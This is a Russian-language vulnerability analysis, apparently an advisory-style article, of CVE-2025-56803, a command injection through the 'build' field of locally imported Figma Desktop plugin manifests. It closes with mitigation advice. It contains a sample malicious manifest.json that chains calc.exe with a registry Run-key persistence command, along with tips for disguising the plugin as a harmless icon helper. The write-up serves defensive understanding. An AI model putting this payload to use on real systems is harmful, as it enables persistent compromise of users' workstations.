Уязвимость CVE-2025-56803 в Figma Desktop for Windows
Уязвимость CVE-2025-56803 представляет собой критическую проблему безопасности в приложении Figma Desktop для Windows (версия 125.6.5), связанную с внедрением операционных систем команд через механизм плагинов. Уязвимость существует в локальном загрузчике плагинов и позволяет злоумышленнику выполнить произвольные команды на операционной системе пользователя, подменив поле build в файле manifest.json плагина.
Анализ уязвимости
Уровень опасности: 8.4 (ВЫСОКИЙ)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Attack Vector: Local) - Атака требует локального доступа к системе жертвы (например, запуск плагина в приложении).
-
AC:L (Attack Complexity: Low) - Для эксплуатации не требуются сложные условия.
-
PR:N (Privileges Required: None) - Для эксплуатации не требуются какие-либо права аутентификации.
-
UI:N (User Interaction: None) - Эксплуатация не требует взаимодействия с пользователем после запуска плагина.
-
S:U (Scope: Unchanged) - Уязвимость не оказывает влияния на другие компоненты, находящиеся за пределами безопасности уязвимого компонента.
-
C:H (Confidentiality: High) - Существует полное нарушение конфиденциальности; раскрывается вся информация в системе.
-
I:H (Integrity: High) - Существует полное нарушение целостности; злоумышленник может изменить любые файлы.
-
A:H (Availability: High) - Существует полное нарушение доступности; система может быть полностью отключена.
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо выполнение следующих условий:
-
Наличие уязвимой версии приложения: Figma Desktop для Windows версии 125.6.5.
-
Локальный доступ к приложению: Жертва должна установить и запустить вредоносный плагин внутри приложения Figma. Это исключает удаленную эксплуатацию без предварительного взаимодействия с пользователем.
-
Социальная инженерия: Основной вектор атак — это социальная инженерия. Злоумышленник должен убедить жертву скачать архив с плагином из ненадежного источника (например, с GitHub, форума, через фишинг-письмо) и установить его через меню
Plugins > Development > Import plugin from manifest...в Figma. -
Отсутствие санитизации: Код приложения не проводит валидацию или санитизацию данных в поле
buildперед их передачей в функцию выполнения команд.
Важно отметить, что плагины, распространяемые через официальный Figma Community, не подвержены данной атаке, такую сборку проходят только локально импортируемые плагины.
Технический анализ эксплоита
Рассмотрим код вредоносного плагина для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит не требует написания сложного кода на JavaScript. Вся его суть содержится в файле manifest.json.
manifest.json:
{
"name": "Figma Icons Helper", // Привлекательное, безобидное название
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js", // Основной файл кода может быть пустым или содержать легитимную функциональность для маскировки
"build": "calc.exe && reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Backdoor /t REG_SZ /d C:\\malware.exe /f", // Вредоносная команда
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [ "figma" ],
"networkAccess": {
"allowedDomains": [ "none" ] // Маскировка под плагин, не требующий сетевого доступа
}
}
В данном примере поле build содержит строку "calc.exe && ...". При обработке этого манифеста Figma передает всю строку в Zlt.exec(s.build, ...). Команды интерпретируются оболочкой:
-
calc.exe— запускает калькулятор (демонстрация успешного выполнения). -
&&— оператор оболочки, который выполняет следующую команду только в случае успеха первой. -
reg add ...— пример опасной команды, которая добавляет запись в автозагрузку реестра Windows для постоянного присутствия.
Злоумышленник может заменить команду на любую другую: скачивание и запуск исполняемого файла с удаленного сервера с помощью curl или certutil, выполнение PowerShell-скрипта, кража файлов и т.д.
code.js:
// Этот файл может быть пустым или содержать легитимный код,
// чтобы пользователь не заподозрил неладное при тестировании функциональности плагина.
console.log("Figma Icons Helper loaded successfully!");
// Легитимная работа с документом Figma для маскировки
const nodes = [];
const rect = figma.createRectangle();
// ... остальной код ...
figma.closePlugin();
Основной файл плагина служит лишь для маскировки, чтобы пользователь, запустив плагин и увидев какой-то результат (например, создание фигур), не сразу заподозрил неладное, в то время как вредоносная команда уже выполнилась в фоне.
Возможные последствия успешной эксплуатации
Использование данной уязвимости позволяет злоумышленнику добиться полного контроля над рабочей станцией пользователя с правами того пользователя, под которым запущено приложение Figma.
Методы защиты
Защита от данной уязвимости должна быть многоуровневой.
1. Обновление приложения: Компания Figma уже исправила уязвимость в более новых версиях. Основная и самая эффективная мера — немедленное обновление Figma Desktop до последней версии.
2. Осведомленность пользователей: Обучение пользователей не скачивать и не устанавливать плагины Figma из непроверенных источников. Устанавливать плагины только из официального Figma Community.